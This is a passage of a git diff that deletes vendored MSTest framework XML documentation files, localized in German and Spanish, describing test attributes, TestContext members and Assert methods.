[DataSource("dataSourceNameFromConfigFile")] - - - - - Der Standardanbietername für DataSource. - - - - - Die standardmäßige Datenzugriffsmethode. - - - - - Initialisiert eine neue Instanz der -Klasse. Diese Instanz wird mit einem Datenanbieter, einer Verbindungszeichenfolge, einer Datentabelle und einer Datenzugriffsmethode für den Zugriff auf die Daten initialisiert. - - Invarianter Datenanbietername, z. B. "System.Data.SqlClient" - - Die für den Datenanbieter spezifische Verbindungszeichenfolge. - WARNUNG: Die Verbindungszeichenfolge kann sensible Daten (z. B. ein Kennwort) enthalten. - Die Verbindungszeichenfolge wird als Nur-Text im Quellcode und in der kompilierten Assembly gespeichert. - Schränken Sie den Zugriff auf den Quellcode und die Assembly ein, um diese vertraulichen Informationen zu schützen. - - Der Name der Datentabelle. - Gibt die Reihenfolge für den Datenzugriff an. - - - - Initialisiert eine neue Instanz der -Klasse. Diese Instanz wird mit einer Verbindungszeichenfolge und einem Tabellennamen initialisiert. - Geben Sie eine Verbindungszeichenfolge und Datentabelle an, um auf die OLEDB-Datenquelle zuzugreifen. - - - Die für den Datenanbieter spezifische Verbindungszeichenfolge. - WARNUNG: Die Verbindungszeichenfolge kann sensible Daten (z. B. ein Kennwort) enthalten. - Die Verbindungszeichenfolge wird als Nur-Text im Quellcode und in der kompilierten Assembly gespeichert. - Schränken Sie den Zugriff auf den Quellcode und die Assembly ein, um diese vertraulichen Informationen zu schützen. - - Der Name der Datentabelle. - - - - Initialisiert eine neue Instanz der -Klasse. Diese Instanz wird mit einem Datenanbieter und einer Verbindungszeichenfolge mit dem Namen der Einstellung initialisiert. - - Der Name einer Datenquelle, die im Abschnitt <microsoft.visualstudio.qualitytools> in der Datei "app.config" gefunden wurde. - - - - Ruft einen Wert ab, der den Datenanbieter der Datenquelle darstellt. - - - Der Name des Datenanbieters. Wenn kein Datenanbieter während der Objektinitialisierung festgelegt wurde, wird der Standardanbieter "System.Data.OleDb" zurückgegeben. - - - - - Ruft einen Wert ab, der die Verbindungszeichenfolge für die Datenquelle darstellt. - - - - - Ruft einen Wert ab, der den Tabellennamen angibt, der Daten bereitstellt. - - - - - Ruft die Methode ab, die für den Zugriff auf die Datenquelle verwendet wird. - - - - Einer der-Werte. Wenn das nicht initialisiert wurde, wird der Standardwert zurückgegeben. . - - - - - Ruft den Namen einer Datenquelle ab, die im Abschnitt <microsoft.visualstudio.qualitytools> in der Datei "app.config" gefunden wurde. - - - - - Ein Attribut für datengesteuerte Tests, in denen Daten inline angegeben werden können. - - - - - Ermittelt alle Datenzeilen und beginnt mit der Ausführung. - - - Die test-Methode. - - - Ein Array aus . - - - - - Führt die datengesteuerte Testmethode aus. - - Die auszuführende Testmethode. - Die Datenzeile. - Ergebnisse der Ausführung. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/es/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/es/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index 47b3d8ca..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/es/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,93 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - Se usa para especificar el elemento (archivo o directorio) para la implementación por prueba. - Puede especificarse en la clase de prueba o en el método de prueba. - Puede tener varias instancias del atributo para especificar más de un elemento. - La ruta de acceso del elemento puede ser absoluta o relativa. Si es relativa, lo es respecto a RunConfig.RelativePathRoot. - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - DeploymentItemAttribute is currently not supported in .Net Core. This is just a placehodler for support in the future. - - - - - Inicializa una nueva instancia de la clase . - - Archivo o directorio para implementar. La ruta de acceso es relativa al directorio de salida de compilación. El elemento se copiará en el mismo directorio que los ensamblados de prueba implementados. - - - - Inicializa una nueva instancia de la clase . - - Ruta de acceso relativa o absoluta al archivo o directorio para implementar. La ruta de acceso es relativa al directorio de salida de compilación. El elemento se copiará en el mismo directorio que los ensamblados de prueba implementados. - Ruta de acceso del directorio en el que se van a copiar los elementos. Puede ser absoluta o relativa respecto al directorio de implementación. Todos los archivos y directorios que identifica se copiarán en este directorio. - - - - Obtiene la ruta de acceso al archivo o carpeta de origen que se debe copiar. - - - - - Obtiene la ruta de acceso al directorio donde se copia el elemento. - - - - - Clase TestContext. Esta clase debe ser totalmente abstracta y no contener ningún - miembro. El adaptador implementará los miembros. Los usuarios del marco solo deben - tener acceso a esta clase a través de una interfaz bien definida. - - - - - Obtiene las propiedades de una prueba. - - - - - Obtiene el nombre completo de la clase que contiene el método de prueba que se está ejecutando. - - - This property can be useful in attributes derived from ExpectedExceptionBaseAttribute. - Those attributes have access to the test context, and provide messages that are included - in the test results. Users can benefit from messages that include the fully-qualified - class name in addition to the name of the test method currently being executed. - - - - - Obtiene el nombre del método de prueba que se está ejecutando. - - - - - Obtiene el resultado de la prueba actual. - - - - - Used to write trace messages while the test is running - - formatted message string - - - - Used to write trace messages while the test is running - - format string - the arguments - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/es/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/es/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index 5b05af93..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/es/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4199 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - Atributo TestMethod para la ejecución. - - - - - Obtiene el nombre del método de prueba. - - - - - Obtiene el nombre de la clase de prueba. - - - - - Obtiene el tipo de valor devuelto del método de prueba. - - - - - Obtiene los parámetros del método de prueba. - - - - - Obtiene el valor de methodInfo para el método de prueba. - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - Invoca el método de prueba. - - - Argumentos que se pasan al método de prueba (por ejemplo, controlada por datos) - - - Resultado de la invocación del método de prueba. - - - This call handles asynchronous test methods as well. - - - - - Obtiene todos los atributos del método de prueba. - - - Indica si el atributo definido en la clase primaria es válido. - - - Todos los atributos. - - - - - Obtiene un atributo de un tipo específico. - - System.Attribute type. - - Indica si el atributo definido en la clase primaria es válido. - - - Atributos del tipo especificado. - - - - - Elemento auxiliar. - - - - - Parámetro de comprobación no NULL. - - - El parámetro. - - - El nombre del parámetro. - - - El mensaje. - - Throws argument null exception when parameter is null. - - - - Parámetro de comprobación no NULL o vacío. - - - El parámetro. - - - El nombre del parámetro. - - - El mensaje. - - Throws ArgumentException when parameter is null. - - - - Enumeración de cómo se accede a las filas de datos en las pruebas controladas por datos. - - - - - Las filas se devuelven en orden secuencial. - - - - - Las filas se devuelven en orden aleatorio. - - - - - Atributo para definir los datos insertados de un método de prueba. - - - - - Inicializa una nueva instancia de la clase . - - Objeto de datos. - - - - Inicializa una nueva instancia de la clase , que toma una matriz de argumentos. - - Objeto de datos. - Más datos. - - - - Obtiene datos para llamar al método de prueba. - - - - - Obtiene o establece el nombre para mostrar en los resultados de pruebas para personalizarlo. - - - - - Excepción de aserción no concluyente. - - - - - Inicializa una nueva instancia de la clase . - - El mensaje. - La excepción. - - - - Inicializa una nueva instancia de la clase . - - El mensaje. - - - - Inicializa una nueva instancia de la clase . - - - - - Clase InternalTestFailureException. Se usa para indicar un error interno de un caso de prueba. - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - Inicializa una nueva instancia de la clase . - - Mensaje de la excepción. - La excepción. - - - - Inicializa una nueva instancia de la clase . - - Mensaje de la excepción. - - - - Inicializa una nueva instancia de la clase . - - - - - Atributo que indica que debe esperarse una excepción del tipo especificado. - - - - - Inicializa una nueva instancia de la clase con el tipo esperado. - - Tipo de la excepción esperada - - - - Inicializa una nueva instancia de la clase - con el tipo esperado y el mensaje para incluir cuando la prueba no produce una excepción. - - Tipo de la excepción esperada - - Mensaje que se incluye en el resultado de la prueba si esta no se supera debido a que no se inicia una excepción - - - - - Obtiene un valor que indica el tipo de la excepción esperada. - - - - - Obtiene o establece un valor que indica si se permite que los tipos derivados del tipo de la excepción esperada - se consideren también como esperados. - - - - - Obtiene el mensaje que debe incluirse en el resultado de la prueba si esta no acaba correctamente porque no se produce una excepción. - - - - - Comprueba que el tipo de la excepción producida por la prueba unitaria es el esperado. - - Excepción que inicia la prueba unitaria - - - - Clase base para atributos que especifican que se espere una excepción de una prueba unitaria. - - - - - Inicializa una nueva instancia de la clase con un mensaje de ausencia de excepción predeterminado. - - - - - Inicializa una nueva instancia de la clase con un mensaje de ausencia de excepción. - - - Mensaje para incluir en el resultado de la prueba si esta no se supera debido a que no se inicia una - excepción - - - - - Obtiene el mensaje que debe incluirse en el resultado de la prueba si esta no acaba correctamente porque no se produce una excepción. - - - - - Obtiene el mensaje que debe incluirse en el resultado de la prueba si esta no acaba correctamente porque no se produce una excepción. - - - - - Obtiene el mensaje de ausencia de excepción predeterminado. - - Nombre del tipo de atributo ExpectedException - Mensaje de ausencia de excepción predeterminado - - - - Determina si se espera la excepción. Si el método devuelve un valor, se entiende - que se esperaba la excepción. Si el método produce una excepción, - se entiende que no se esperaba la excepción y se incluye el mensaje - de la misma en el resultado de la prueba. Se puede usar para mayor - comodidad. Si se utiliza y la aserción no funciona, - el resultado de la prueba se establece como No concluyente. - - Excepción que inicia la prueba unitaria - - - - Produce de nuevo la excepción si es de tipo AssertFailedException o AssertInconclusiveException. - - La excepción que se va a reiniciar si es una excepción de aserción - - - - Esta clase está diseñada para ayudar al usuario a realizar pruebas unitarias para tipos con tipos genéricos. - GenericParameterHelper satisface algunas de las restricciones de tipo genérico comunes, - como: - 1. Constructor predeterminado público. - 2. Implementa una interfaz común: IComparable, IEnumerable. - - - - - Inicializa una nueva instancia de la clase que - satisface la restricción "renovable" en genéricos de C#. - - - This constructor initializes the Data property to a random value. - - - - - Inicializa una nueva instancia de la clase que - inicializa la propiedad Data con un valor proporcionado por el usuario. - - Cualquier valor entero - - - - Obtiene o establece los datos. - - - - - Compara el valor de dos objetos GenericParameterHelper. - - objeto con el que hacer la comparación - Es true si el objeto tiene el mismo valor que el objeto GenericParameterHelper "this". - De lo contrario, false. - - - - Devuelve un código hash para este objeto. - - El código hash. - - - - Compara los datos de los dos objetos . - - Objeto con el que se va a comparar. - - Número con signo que indica los valores relativos de esta instancia y valor. - - - Thrown when the object passed in is not an instance of . - - - - - Devuelve un objeto IEnumerator cuya longitud se deriva de - la propiedad Data. - - El objeto IEnumerator - - - - Devuelve un objeto GenericParameterHelper que es igual al - objeto actual. - - El objeto clonado. - - - - Permite a los usuarios registrar o escribir el seguimiento de las pruebas unitarias con fines de diagnóstico. - - - - - Controlador para LogMessage. - - Mensaje para registrar. - - - - Evento que se debe escuchar. Se genera cuando el autor de las pruebas unitarias escribe algún mensaje. - Lo consume principalmente el adaptador. - - - - - API del escritor de la prueba para llamar a los mensajes de registro. - - Formato de cadena con marcadores de posición. - Parámetros para los marcadores de posición. - - - - Atributo TestCategory. Se usa para especificar la categoría de una prueba unitaria. - - - - - Inicializa una nueva instancia de la clase y le aplica la categoría a la prueba. - - - Categoría de prueba. - - - - - Obtiene las categorías que se le han aplicado a la prueba. - - - - - Clase base del atributo "Category". - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - Inicializa una nueva instancia de la clase . - Aplica la categoría a la prueba. Las cadenas que devuelve TestCategories - se usan con el comando /category para filtrar las pruebas. - - - - - Obtiene la categoría que se le ha aplicado a la prueba. - - - - - Clase AssertFailedException. Se usa para indicar el error de un caso de prueba. - - - - - Inicializa una nueva instancia de la clase . - - El mensaje. - La excepción. - - - - Inicializa una nueva instancia de la clase . - - El mensaje. - - - - Inicializa una nueva instancia de la clase . - - - - - Colección de clases auxiliares para probar varias condiciones en las - pruebas unitarias. Si la condición que se está probando no se cumple, se produce - una excepción. - - - - - Obtiene la instancia de singleton de la funcionalidad de Assert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Comprueba si la condición especificada es true y produce una excepción - si la condición es false. - - - Condición que la prueba espera que sea true. - - - Thrown if is false. - - - - - Comprueba si la condición especificada es true y produce una excepción - si la condición es false. - - - Condición que la prueba espera que sea true. - - - Mensaje que se va a incluir en la excepción cuando - es false. El mensaje se muestra en los resultados de las pruebas. - - - Thrown if is false. - - - - - Comprueba si la condición especificada es true y produce una excepción - si la condición es false. - - - Condición que la prueba espera que sea true. - - - Mensaje que se va a incluir en la excepción cuando - es false. El mensaje se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is false. - - - - - Comprueba si la condición especificada es false y produce una excepción - si la condición es true. - - - Condición que la prueba espera que sea false. - - - Thrown if is true. - - - - - Comprueba si la condición especificada es false y produce una excepción - si la condición es true. - - - Condición que la prueba espera que sea false. - - - Mensaje que se va a incluir en la excepción cuando - es true. El mensaje se muestra en los resultados de las pruebas. - - - Thrown if is true. - - - - - Comprueba si la condición especificada es false y produce una excepción - si la condición es true. - - - Condición que la prueba espera que sea false. - - - Mensaje que se va a incluir en la excepción cuando - es true. El mensaje se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is true. - - - - - Comprueba si el objeto especificado es NULL y produce una excepción - si no lo es. - - - El objeto que la prueba espera que sea NULL. - - - Thrown if is not null. - - - - - Comprueba si el objeto especificado es NULL y produce una excepción - si no lo es. - - - El objeto que la prueba espera que sea NULL. - - - Mensaje que se va a incluir en la excepción cuando - no es NULL. El mensaje se muestra en los resultados de las pruebas. - - - Thrown if is not null. - - - - - Comprueba si el objeto especificado es NULL y produce una excepción - si no lo es. - - - El objeto que la prueba espera que sea NULL. - - - Mensaje que se va a incluir en la excepción cuando - no es NULL. El mensaje se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is not null. - - - - - Comprueba si el objeto especificado no es NULL y produce una excepción - si lo es. - - - El objeto que la prueba espera que no sea NULL. - - - Thrown if is null. - - - - - Comprueba si el objeto especificado no es NULL y produce una excepción - si lo es. - - - El objeto que la prueba espera que no sea NULL. - - - Mensaje que se va a incluir en la excepción cuando - es NULL. El mensaje se muestra en los resultados de las pruebas. - - - Thrown if is null. - - - - - Comprueba si el objeto especificado no es NULL y produce una excepción - si lo es. - - - El objeto que la prueba espera que no sea NULL. - - - Mensaje que se va a incluir en la excepción cuando - es NULL. El mensaje se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is null. - - - - - Comprueba si dos objetos especificados hacen referencia al mismo objeto - y produce una excepción si ambas entradas no hacen referencia al mismo objeto. - - - Primer objeto para comparar. Este es el valor que la prueba espera. - - - Segundo objeto para comparar. Este es el valor generado por el código sometido a prueba. - - - Thrown if does not refer to the same object - as . - - - - - Comprueba si dos objetos especificados hacen referencia al mismo objeto - y produce una excepción si ambas entradas no hacen referencia al mismo objeto. - - - Primer objeto para comparar. Este es el valor que la prueba espera. - - - Segundo objeto para comparar. Este es el valor generado por el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - no es igual que . El mensaje se muestra - en los resultados de las pruebas. - - - Thrown if does not refer to the same object - as . - - - - - Comprueba si dos objetos especificados hacen referencia al mismo objeto - y produce una excepción si ambas entradas no hacen referencia al mismo objeto. - - - Primer objeto para comparar. Este es el valor que la prueba espera. - - - Segundo objeto para comparar. Este es el valor generado por el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - no es igual que . El mensaje se muestra - en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if does not refer to the same object - as . - - - - - Comprueba si dos objetos especificados hacen referencia a objetos diferentes - y produce una excepción si ambas entradas hacen referencia al mismo objeto. - - - Primer objeto para comparar. Este es el valor que la prueba espera que no - coincida con . - - - Segundo objeto para comparar. Este es el valor generado por el código sometido a prueba. - - - Thrown if refers to the same object - as . - - - - - Comprueba si dos objetos especificados hacen referencia a objetos diferentes - y produce una excepción si ambas entradas hacen referencia al mismo objeto. - - - Primer objeto para comparar. Este es el valor que la prueba espera que no - coincida con . - - - Segundo objeto para comparar. Este es el valor generado por el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - es igual que . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if refers to the same object - as . - - - - - Comprueba si dos objetos especificados hacen referencia a objetos diferentes - y produce una excepción si ambas entradas hacen referencia al mismo objeto. - - - Primer objeto para comparar. Este es el valor que la prueba espera que no - coincida con . - - - Segundo objeto para comparar. Este es el valor generado por el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - es igual que . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if refers to the same object - as . - - - - - Comprueba si dos valores especificados son iguales y produce una excepción - si no lo son. Los tipos numéricos distintos se tratan - como diferentes aunque sus valores lógicos sean iguales. 42L no es igual que 42. - - - The type of values to compare. - - - Primer valor para comparar. Este es el valor que la prueba espera. - - - Segundo valor para comparar. Este es el valor generado por el código sometido a prueba. - - - Thrown if is not equal to . - - - - - Comprueba si dos valores especificados son iguales y produce una excepción - si no lo son. Los tipos numéricos distintos se tratan - como diferentes aunque sus valores lógicos sean iguales. 42L no es igual que 42. - - - The type of values to compare. - - - Primer valor para comparar. Este es el valor que la prueba espera. - - - Segundo valor para comparar. Este es el valor generado por el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - no es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is not equal to - . - - - - - Comprueba si dos valores especificados son iguales y produce una excepción - si no lo son. Los tipos numéricos distintos se tratan - como diferentes aunque sus valores lógicos sean iguales. 42L no es igual que 42. - - - The type of values to compare. - - - Primer valor para comparar. Este es el valor que la prueba espera. - - - Segundo valor para comparar. Este es el valor generado por el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - no es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is not equal to - . - - - - - Comprueba si dos valores especificados son distintos y produce una excepción - si son iguales. Los tipos numéricos distintos se tratan - como diferentes aunque sus valores lógicos sean iguales. 42L no es igual que 42. - - - The type of values to compare. - - - Primer valor para comparar. Este es el valor que la prueba espera que no - coincida con . - - - Segundo valor para comparar. Este es el valor generado por el código sometido a prueba. - - - Thrown if is equal to . - - - - - Comprueba si dos valores especificados son distintos y produce una excepción - si son iguales. Los tipos numéricos distintos se tratan - como diferentes aunque sus valores lógicos sean iguales. 42L no es igual que 42. - - - The type of values to compare. - - - Primer valor para comparar. Este es el valor que la prueba espera que no - coincida con . - - - Segundo valor para comparar. Este es el valor generado por el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is equal to . - - - - - Comprueba si dos valores especificados son distintos y produce una excepción - si son iguales. Los tipos numéricos distintos se tratan - como diferentes aunque sus valores lógicos sean iguales. 42L no es igual que 42. - - - The type of values to compare. - - - Primer valor para comparar. Este es el valor que la prueba espera que no - coincida con . - - - Segundo valor para comparar. Este es el valor generado por el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is equal to . - - - - - Comprueba si dos objetos especificados son iguales y produce una excepción - si no lo son. Los tipos numéricos distintos se tratan - como tipos diferentes aunque sus valores lógicos sean iguales. 42L no es igual que 42. - - - Primer objeto para comparar. Este es el objeto que la prueba espera. - - - Segundo objeto para comparar. Este es el objeto generado por el código sometido a prueba. - - - Thrown if is not equal to - . - - - - - Comprueba si dos objetos especificados son iguales y produce una excepción - si no lo son. Los tipos numéricos distintos se tratan - como tipos diferentes aunque sus valores lógicos sean iguales. 42L no es igual que 42. - - - Primer objeto para comparar. Este es el objeto que la prueba espera. - - - Segundo objeto para comparar. Este es el objeto generado por el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - no es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is not equal to - . - - - - - Comprueba si dos objetos especificados son iguales y produce una excepción - si no lo son. Los tipos numéricos distintos se tratan - como tipos diferentes aunque sus valores lógicos sean iguales. 42L no es igual que 42. - - - Primer objeto para comparar. Este es el objeto que la prueba espera. - - - Segundo objeto para comparar. Este es el objeto generado por el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - no es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is not equal to - . - - - - - Comprueba si dos objetos especificados son distintos y produce una excepción - si lo son. Los tipos numéricos distintos se tratan - como tipos diferentes aunque sus valores lógicos sean iguales. 42L no es igual que 42. - - - Primer objeto para comparar. Este es el valor que la prueba espera que no - coincida con . - - - Segundo objeto para comparar. Este es el objeto generado por el código sometido a prueba. - - - Thrown if is equal to . - - - - - Comprueba si dos objetos especificados son distintos y produce una excepción - si lo son. Los tipos numéricos distintos se tratan - como tipos diferentes aunque sus valores lógicos sean iguales. 42L no es igual que 42. - - - Primer objeto para comparar. Este es el valor que la prueba espera que no - coincida con . - - - Segundo objeto para comparar. Este es el objeto generado por el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is equal to . - - - - - Comprueba si dos objetos especificados son distintos y produce una excepción - si lo son. Los tipos numéricos distintos se tratan - como tipos diferentes aunque sus valores lógicos sean iguales. 42L no es igual que 42. - - - Primer objeto para comparar. Este es el valor que la prueba espera que no - coincida con . - - - Segundo objeto para comparar. Este es el objeto generado por el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is equal to . - - - - - Comprueba si los valores float especificados son iguales y produce una excepción - si no lo son. - - - Primer valor float para comparar. Este es el valor float que la prueba espera. - - - Segundo valor float para comparar. Este es el valor float generado por el código sometido a prueba. - - - Precisión requerida. Se iniciará una excepción solamente si - difiere de - por más de . - - - Thrown if is not equal to - . - - - - - Comprueba si los valores float especificados son iguales y produce una excepción - si no lo son. - - - Primer valor float para comparar. Este es el valor float que la prueba espera. - - - Segundo valor float para comparar. Este es el valor float generado por el código sometido a prueba. - - - Precisión requerida. Se iniciará una excepción solamente si - difiere de - por más de . - - - Mensaje que se va a incluir en la excepción cuando - difiere de por más de - . El mensaje se muestra en los resultados de las pruebas. - - - Thrown if is not equal to - . - - - - - Comprueba si los valores float especificados son iguales y produce una excepción - si no lo son. - - - Primer valor float para comparar. Este es el valor float que la prueba espera. - - - Segundo valor float para comparar. Este es el valor float generado por el código sometido a prueba. - - - Precisión requerida. Se iniciará una excepción solamente si - difiere de - por más de . - - - Mensaje que se va a incluir en la excepción cuando - difiere de por más de - . El mensaje se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is not equal to - . - - - - - Comprueba si los valores float especificados son distintos y produce una excepción - si son iguales. - - - Primer valor float para comparar. Este es el valor float que la prueba espera que no - coincida con . - - - Segundo valor float para comparar. Este es el valor float generado por el código sometido a prueba. - - - Precisión requerida. Se iniciará una excepción solamente si - difiere de - por un máximo de . - - - Thrown if is equal to . - - - - - Comprueba si los valores float especificados son distintos y produce una excepción - si son iguales. - - - Primer valor float para comparar. Este es el valor float que la prueba espera que no - coincida con . - - - Segundo valor float para comparar. Este es el valor float generado por el código sometido a prueba. - - - Precisión requerida. Se iniciará una excepción solamente si - difiere de - por un máximo de . - - - Mensaje que se va a incluir en la excepción cuando - es igual a o difiere por menos de - . El mensaje se muestra en los resultados de las pruebas. - - - Thrown if is equal to . - - - - - Comprueba si los valores float especificados son distintos y produce una excepción - si son iguales. - - - Primer valor float para comparar. Este es el valor float que la prueba espera que no - coincida con . - - - Segundo valor float para comparar. Este es el valor float generado por el código sometido a prueba. - - - Precisión requerida. Se iniciará una excepción solamente si - difiere de - por un máximo de . - - - Mensaje que se va a incluir en la excepción cuando - es igual a o difiere por menos de - . El mensaje se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is equal to . - - - - - Comprueba si los valores double especificados son iguales y produce una excepción - si no lo son. - - - Primer valor double para comparar. Este es el valor double que la prueba espera. - - - Segundo valor double para comparar. Este es el valor double generado por el código sometido a prueba. - - - Precisión requerida. Se iniciará una excepción solamente si - difiere de - por más de . - - - Thrown if is not equal to - . - - - - - Comprueba si los valores double especificados son iguales y produce una excepción - si no lo son. - - - Primer valor double para comparar. Este es el valor double que la prueba espera. - - - Segundo valor double para comparar. Este es el valor double generado por el código sometido a prueba. - - - Precisión requerida. Se iniciará una excepción solamente si - difiere de - por más de . - - - Mensaje que se va a incluir en la excepción cuando - difiere de por más de - . El mensaje se muestra en los resultados de las pruebas. - - - Thrown if is not equal to . - - - - - Comprueba si los valores double especificados son iguales y produce una excepción - si no lo son. - - - Primer valor double para comparar. Este es el valor double que la prueba espera. - - - Segundo valor double para comparar. Este es el valor double generado por el código sometido a prueba. - - - Precisión requerida. Se iniciará una excepción solamente si - difiere de - por más de . - - - Mensaje que se va a incluir en la excepción cuando - difiere de por más de - . El mensaje se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is not equal to . - - - - - Comprueba si los valores double especificados son distintos y produce una excepción - si son iguales. - - - Primer valor double para comparar. Este es el valor double que la prueba espera que no - coincida con . - - - Segundo valor double para comparar. Este es el valor double generado por el código sometido a prueba. - - - Precisión requerida. Se iniciará una excepción solamente si - difiere de - por un máximo de . - - - Thrown if is equal to . - - - - - Comprueba si los valores double especificados son distintos y produce una excepción - si son iguales. - - - Primer valor double para comparar. Este es el valor double que la prueba espera que no - coincida con . - - - Segundo valor double para comparar. Este es el valor double generado por el código sometido a prueba. - - - Precisión requerida. Se iniciará una excepción solamente si - difiere de - por un máximo de . - - - Mensaje que se va a incluir en la excepción cuando - es igual a o difiere por menos de - . El mensaje se muestra en los resultados de las pruebas. - - - Thrown if is equal to . - - - - - Comprueba si los valores double especificados son distintos y produce una excepción - si son iguales. - - - Primer valor double para comparar. Este es el valor double que la prueba espera que no - coincida con . - - - Segundo valor double para comparar. Este es el valor double generado por el código sometido a prueba. - - - Precisión requerida. Se iniciará una excepción solamente si - difiere de - por un máximo de . - - - Mensaje que se va a incluir en la excepción cuando - es igual a o difiere por menos de - . El mensaje se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is equal to . - - - - - Comprueba si las cadenas especificadas son iguales y produce una excepción - si no lo son. Se usa la referencia cultural invariable para la comparación. - - - Primera cadena para comparar. Esta es la cadena que la prueba espera. - - - Segunda cadena para comparar. Esta es la cadena generada por el código sometido a prueba. - - - Valor booleano que indica una comparación donde se distingue o no mayúsculas de minúsculas. (true - indica una comparación que no distingue mayúsculas de minúsculas). - - - Thrown if is not equal to . - - - - - Comprueba si las cadenas especificadas son iguales y produce una excepción - si no lo son. Se usa la referencia cultural invariable para la comparación. - - - Primera cadena para comparar. Esta es la cadena que la prueba espera. - - - Segunda cadena para comparar. Esta es la cadena generada por el código sometido a prueba. - - - Valor booleano que indica una comparación donde se distingue o no mayúsculas de minúsculas. (true - indica una comparación que no distingue mayúsculas de minúsculas). - - - Mensaje que se va a incluir en la excepción cuando - no es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is not equal to . - - - - - Comprueba si las cadenas especificadas son iguales y produce una excepción - si no lo son. Se usa la referencia cultural invariable para la comparación. - - - Primera cadena para comparar. Esta es la cadena que la prueba espera. - - - Segunda cadena para comparar. Esta es la cadena generada por el código sometido a prueba. - - - Valor booleano que indica una comparación donde se distingue o no mayúsculas de minúsculas. (true - indica una comparación que no distingue mayúsculas de minúsculas). - - - Mensaje que se va a incluir en la excepción cuando - no es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is not equal to . - - - - - Comprueba si las cadenas especificadas son iguales y produce una excepción - si no lo son. - - - Primera cadena para comparar. Esta es la cadena que la prueba espera. - - - Segunda cadena para comparar. Esta es la cadena generada por el código sometido a prueba. - - - Valor booleano que indica una comparación donde se distingue o no mayúsculas de minúsculas. (true - indica una comparación que no distingue mayúsculas de minúsculas). - - - Objeto CultureInfo que proporciona información de comparación específica de la referencia cultural. - - - Thrown if is not equal to . - - - - - Comprueba si las cadenas especificadas son iguales y produce una excepción - si no lo son. - - - Primera cadena para comparar. Esta es la cadena que la prueba espera. - - - Segunda cadena para comparar. Esta es la cadena generada por el código sometido a prueba. - - - Valor booleano que indica una comparación donde se distingue o no mayúsculas de minúsculas. (true - indica una comparación que no distingue mayúsculas de 